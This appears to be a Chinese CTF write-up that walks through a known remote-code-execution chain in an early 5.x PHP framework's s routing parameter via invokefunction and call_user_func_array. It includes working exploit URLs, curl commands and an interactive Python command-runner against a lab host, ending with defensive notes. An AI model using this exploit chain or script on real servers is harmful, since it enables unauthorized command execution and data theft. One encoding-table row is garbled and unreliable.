前几天在某个CTF训练平台的Web模块里刷题,看到一道难度标着2的题目叫 php_rce。这个题名基本把考点写在脸上了:PHP、远程代码执行。但真正写Writeup的时候发现,很多人卡住的不是最后的利用,而是前面那一堆看似没用的信息收集,以及Payload在URL里各种编码带来的玄学问题。
这篇文章就记录一下我从开题到提交flag的完整过程,包括指纹判断、利用链拆解、Payload构造和踩坑修复。内容偏实战,适合刚入坑CTF Web方向、想搞懂RCE题型原理的读者。我会尽量把“为什么这么打”也讲清楚,而不是只丢一条能跑的Payload出来。
1. 打开题目后的第一件事不是打命令,是先看环境
1.1 页面内容和HTTP响应里的指纹信息
靶机地址打开后,页面非常朴素,大体上就是一个居中显示的欢迎词“Welcome to php_rce”,没有任何表单、上传点或者明显注释。很多新手到这里会愣住:没有输入框,怎么打?其实Web题目的入口不一定是可见的输入框,路由参数、Cookie、请求头甚至一个隐藏的JS文件都可能是突破口。
我先把页面源码看了一遍,又用浏览器开发者工具看了网络请求。页面本身没有太多信息,但HTTP响应头里有两样东西很扎眼:
Server: nginx/1.14.0 X-Powered-By: PHP/7.2.5PHP 7.2.5这个版本对于RCE题型来说,已经暗示了运行时环境。真正让我确定方向的,是我给首页随便加了几个参数之后看到的报错页。
1.2s参数暴露出来的路由结构
我试着访问了一下带参数的链接:
http://target.local/index.php?s=index/index页面没有变化,还是那个欢迎页。我又试:
http://target.local/index.php?s=index/not_exist结果页面直接变成了一个“控制器不存在”的错误页。这个报错非常关键,它说明:应用接入了URL路由,并且路由参数名是s,路由结构大概是“模块/控制器/操作”这种经典三段式。再往后,正常访问逻辑应该是:
http://target.local/index.php?s=index/Index/indexs=index/Index/index分别对应模块index、控制器Index、操作index。能够通过一个参数直接控制控制器和操作名,这本身就是一种攻击面。如果框架在解析控制器名时没有严格校验,就有机会让它加载一个我们指定的类并调用指定方法。
1.3 为什么题目名叫 php_rce 基本等于开卷
说实话,看到题目叫php_rce,我心里就已经把它归到RCE题型里了。这类题通常不会让你去慢慢逆向,而是希望你通过框架或业务逻辑的缺陷,拿到命令执行能力。真正需要做的,是从“题目名提示”变成“确定利用方式”。
在没看到任何业务功能的情况下,最合理的怀疑对象就是这套路由本身。因为Web业务里,用户能直接影响的也就是URL参数、请求头和请求体。页面只有一个欢迎语,说明漏洞大概率藏在框架层,而不是业务代码层。接下来要做的,就是确认这套框架的版本以及是否存在已知的RCE漏洞。
我把目标锁定在了一套国内常见的PHP开源框架上,这套框架的5.x早期版本出现过一比较有名的远程代码执行问题,网上有很多分析文章。当时我的思路很直接:先按历史漏洞的利用链打一遍,看返回结果有没有变化。
2. 把利用链拆开:invokefunction为什么能变成命令执行
2.1 出问题的地方不在业务代码,在框架路由
很多人误以为RCE漏洞一定是业务代码写了eval或者system,但这一类框架级漏洞往往不是业务代码的问题,而是路由分发过程中的“信任”出了问题。
这套PHP框架支持通过s参数解析路由。正常情况下,s=index/Index/index会被映射到对应的控制器和方法。问题在于,早期5.x版本在解析控制器名时,没有把反斜杠\过滤干净,导致我们可以传入带命名空间的类名。于是路由中的“模块/控制器/操作”可以被改写成:
index/\think\app/invokefunction拆开看就是:
- 模块部分:
index - 控制器部分:
\think\app - 操作部分:
invokefunction
控制器位置不再是一个普通的控制器类,而是框架核心类\think\app。正常设计里,路由不应该允许控制器名出现反斜杠,因为反斜杠在PHP中代表命名空间分隔符。一旦允许,攻击者就可以指定任意类,而操作部分就变成了要调用的方法名。
2.2 URL中的四段信息是怎么被吃进去的
光能指定\think\app还不够,还需要找到一个合适的方法来制造命令执行。框架里恰好有这样一个方法,名字叫invokefunction,它的作用很直白:接收一个回调函数名和参数数组,然后调用它。
我习惯把它的核心逻辑理解成下面这段简化代码,虽然真实源码里的细节更多,但原理差不多:
public static function invokefunction($function, $vars = []) { // 任意回调,参数透传 return call_user_func_array($function, $vars); }也就是说,如果能调用这个方法,并且给它传入function和vars两个参数,那function可以是任意PHP函数,vars是传给这个函数的参数列表。
所以我们的URL就从“调用一个方法”变成了“调用任意函数、传入任意参数”:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id这里又套了一层call_user_func_array。为什么不是直接写function=system&vars[0]=id?因为invokefunction本身接收的是一个回调函数名和一个参数数组,而system不是一个需要“参数数组”的函数,直接传vars会变成二维数组,PHP不一定能按我们的预期执行。用call_user_func_array包一层以后,逻辑就变成了:
call_user_func_array('system', ['id']); // 等价于执行 system('id')最后实际执行的命令就是:
id整个过程可以理解成一个“嵌套调用”:
- 路由加载
\think\app类并调用invokefunction方法; invokefunction调用call_user_func_array;call_user_func_array调用system;system执行命令并输出结果。
每一步都是在框架原本的“合法能力”内完成的,这也就是为什么这类漏洞很难靠简单的黑名单参数过滤来修复。
2.3 命令执行函数选型对照
到真正构造Payload的时候,选哪个PHP函数也是有讲究的。如果输出没有被拦截,system一般是最省事的,因为它直接输出结果。但我还是把所有候选函数拉出来对比了一下:
| 函数 | 返回值 | 输出方式 | 适合场景 |
|---|---|---|---|
system() | 最后一行 | 直接输出 | 最直观,适合CTF题 |
exec() | 最后一行 | 不直接输出,需配合echo | 需要捕获返回值时 |
shell_exec() | 完整输出 | 不直接输出,需配合echo | 需要全部输出时 |
passthru() | 无 | 直接输出原始结果 | 执行二进制程序时 |
popen() | 管道资源 | 需手动读取 | 需要半交互时 |
在这道题里,用system就足够了。如果页面把命令输出隐藏了,可能需要换成shell_exec再配合回显,或者用exec把结果写进文件再访问。这些都属于“输出通道”的调整,不影响漏洞本身。
3. 完整复现:从验证命令到提交flag
3.1 先用id做最小化验证
我拿到这类RCE题,第一发子弹永远不是直接cat /flag,而是先跑一个无副作用、一定能看到结果的命令。id是我最常用的,因为它不仅执行成功率高,而且能直观显示当前运行Web服务的系统用户。
浏览器里直接拼URL比较麻烦,因为反斜杠和后面的参数容易出问题。我习惯用curl在终端里做第一轮验证:
curl 'http://target.local/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'如果直接这样发请求,服务端可能不识别反斜杠。遇到这种情况,可以把\做一次URL编码,变成%5C:
curl 'http://target.local/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'两种写法我都试过,有的靶场环境两种都能通,有的必须用编码后的写法。看到响应里出现下面这类内容,就说明命令已经执行成功了:
uid=33(www-data) gid=33(www-data) groups=33(www-data)这里出现www-data是预料之中的,因为这道题的Web服务运行在默认的PHP-FPM/nginx环境下,权限比较受限。如果将来碰到命令执行了但输出内容前后有大量页面模板内容,那也不用慌,只需要在响应里搜索关键词,比如uid=。
3.2 列目录确认flag位置
确认命令执行后,下一步是定位flag文件。CTF题的flag常见位置就那么几个:根目录下的/flag、/tmp/flag、/var/www/html下的某个隐藏文件,也有可能直接用flag.php之类命名的文件。
我先用ls看一下当前目录,再用完整路径列一下根目录:
ls -la不过ls -la这种带空格和参数的完整命令,在浏览器地址栏里手输很容易漏编码。我更喜欢用Python脚本把参数交给requests处理,这样空格、引号、方括号一类的特殊字符都交给库去编码,不容易出错。
import requests url = "http://target.local/index.php" params = { "s": "/index/\\think\\app/invokefunction", "function": "call_user_func_array", "vars[0]": "system", "vars[1][]": "ls -la /" } resp = requests.get(url, params=params, timeout=10) print(resp.text)Python字符串里的\\think\\app最终会变成\think\app,requests再对它做URL编码。这段脚本看起来不起眼,但之后要执行任何带参数的命令,只需要改vars[1][]的值。
列完根目录后,常见的flag文件位置已经清楚了。我确认根目录下有一个名为flag的文件,内容没有任何后缀,应该就是我们需要提交的目标。
3.3 读取文件与提交结果
拿到路径之后,直接执行:
cat /flag如果继续用Python脚本,就修改一下参数:
params["vars[1][]"] = "cat /flag" resp = requests.get(url, params=params, timeout=10) print(resp.text)响应里会出现一段flag字符串,包含题目要求的格式。把这段内容复制到答题框里提交,这道题就算完成了。
这里有一个小细节:如果flag是放在flag.php或者flag.txt里的,cat一样能读出来,不需要考虑PHP执行问题。因为我们是操作系统层面的命令执行,读的是文件内容,不是通过HTTP去访问脚本解析结果。
3.4 写一个可复用的Python请求脚本
为了保证后面继续测试命令时更高效,我随手整理了一个最小化脚本。这个脚本不是必须的,但对整体效率提升很大:
import requests import sys url = "http://target.local/index.php" def exec_cmd(cmd: str) -> str: params = { "s": "/index/\\think\\app/invokefunction", "function": "call_user_func_array", "vars[0]": "system", "vars[1][]": cmd, } resp = requests.get(url, params=params, timeout=10) return resp.text if __name__ == "__main__": while True: cmd = input(">>> ") if cmd.strip() == "exit": break print(exec_cmd(cmd))这样遇到需要跑pwd、find、cat的时候,就不用在浏览器和终端之间来回复制了。写脚本的过程本身也是在帮自己梳理漏洞参数结构:每一次请求都相当于在调用call_user_func_array('system', [cmd])。
4. 实战中容易踩的坑:URL编码、参数顺序与版本差异
4.1 反斜杠和空格在URL里的表现
这一类RCE利用链中,最容易翻车的不是漏洞本身,而是URL编码。
首先是反斜杠。路由里的\think\app如果直接以原始反斜杠放进URL,有些HTTP客户端和中间件会直接拒绝请求,因为反斜杠在某些解析器里会被当成路径分隔符。稳妥的写法是把每个\替换成%5C:
/index/%5Cthink%5Capp/invokefunction其次是空格。命令里一旦有了空格,比如ls -la,在URL里要么写成%20,要么用+号。如果直接写原始空格,很多库会自动把它编码,但浏览器地址栏里的行为不太一致。最容易避免问题的方式就是把参数交给requests这样的库自动编码,而不是手动拼URL。
我把常见的字符编码情况整理成一个表:
| 原始字符 | 常见编码 | 说明 |
|---|---|---|
\ | %5C | 反斜杠,路由利用链里必须关注 |
| 空格 | %20或+ | 命令参数分隔符 |
" | %22 | 命令里用到引号时最好编码 |
& | %26 | Web参数分隔符,不要裸放在命令里 |
| ` | ` | %7C |
4.2 命令里带特殊符号时的处理
有时候一条命令不够,想在一条Payload里拼接多条命令,比如先pwd再ls。新手往往直接写:
pwd && ls但&&里的&在URL参数中是保留字符,如果不做编码,后面的ls可能会被当成新的参数名,导致命令执行的结果跟预想完全不同。
我的建议是:能用分号就用分号:
pwd; ls -la分号在URL里的歧义比&小得多。如果实在要用&&,必须写成%26%26。但这种写法可读性太差,调试起来也麻烦。所以我在自己脚本里执行多条命令时,通常直接用分号连接到vars[1][]的值里。
另外,命令里如果有引号,比如要查找文件名中带空格的文件,记得别把引号写在URL里让人工解析,直接交给requests编码最安全。
4.3 换一个框架版本就失效的定位思路
同一个Payload不是到处都能通。这道题里能走通\think\app/invokefunction,是因为目标用的是5.0.x早期版本。如果题目环境换成了5.1.x,或者已经打了补丁,这个利用链很可能就失效了。
失效时不要急着怀疑自己的操作,先看响应内容:
- 如果报“控制器不存在”,说明路由根本没解析到
\think\app,可能是版本差异或者类名校验已经补上; - 如果报“方法不存在”,说明类被加载了,但
invokefunction方法不可用,这时候要考虑同版本下的其他入口; - 如果直接返回500,可能是参数格式不正确,检查
vars数组的层级。
遇到版本升级后的同类题,可以往“filter注入”或者“request/input”方向去测。这类框架的RCE系列漏洞不止一条利用链,关键是理解它最终想达到的效果:通过用户可控参数,调用某个动态执行函数。明白这一点之后,换Payload只是换一条入口而已。
4.4 命令执行了但没有输出的排查方法
另一种情况是:命令确实执行了,比如页面响应时间明显变长,或者有部分内容被截断,但就是看不到结果。这时候先检查是不是输出没有回显。
一个最直接的排查方法是把命令输出重定向到Web目录下的临时文件,再通过HTTP访问这个文件。比如:
ls -la / > /var/www/html/output.txt然后用浏览器访问:
http://target.local/output.txt如果命令权限允许写目录,这个办法几乎100%能解决“无回显”的问题。不过CTF题里这种情况不多,因为system函数默认就是直接输出,只有盲打RCE时才会专门考虑回显通道。
5. 复盘:拿到flag之后最该想的两件事
5.1 框架侧为什么容易出现这类RCE
复现完这道题以后,我最大的感受是:这类漏洞不是一个简单的命令注入,而是“动态调用链”被打开了。
正常开发框架里,路由解析、参数绑定、方法调用都应该是受控的。问题在于,控制器名接受了一个带命名空间的参数,最终又走到了invokefunction这种面向开发者的“万能调用”方法上。从设计角度来说,路由解析层和内部调用层中间缺少一道权限边界。“内部能力”一旦被“外部输入”直接触达,RCE就只是时间问题。
所以防御层面最核心的是升级到已修复版本。如果某些老系统因为业务原因无法升级,至少要保证外部输入不能直接控制控制器名里的命名空间,并且对invokefunction这类高风险方法做额外校验。
5.2 靶场经验对真实系统排查的迁移
刷题得到的经验能不能用到真实工作中?我觉得可以,但是要强调前提:只对授权范围内的系统做测试。
真实系统里如果看到类似的PHP框架路由结构,第一反应应该是确认框架版本,而不是直接甩Payload。很多老系统虽然框架有漏洞,但因为前面有反代、CDN、WAF等,裸的Payload可能打不通。排查RCE风险时,我不会一上来就打命令,而是先看版本、补丁状态、路由是否可被外部访问、是否存在debug开关。把攻击面摸清楚,比多打几个Payload更有价值。
5.3 一点个人刷题建议
这道题整体难度不算高,但它很适合作为RCE方向的入门题。我自己的体会是:刷题的时候不要背Payload,而是把每一步映射到PHP函数调用上。看到vars[0]=system&vars[1][]=id,脑子里应该浮现的是call_user_func_array('system', ['id'])这一层转换。一旦形成这种思维,以后遇到新的RCE题,就不会被花哨的编码和路径变化绕晕。
另外,动手写一个自己的请求脚本非常有必要。它不只是为了省时间,更是逼你把漏洞链路重新梳理一遍。等你能不看任何Writeup,光凭对框架路由的理解就能拼出这条利用链的时候,这道题才算真正吃透了。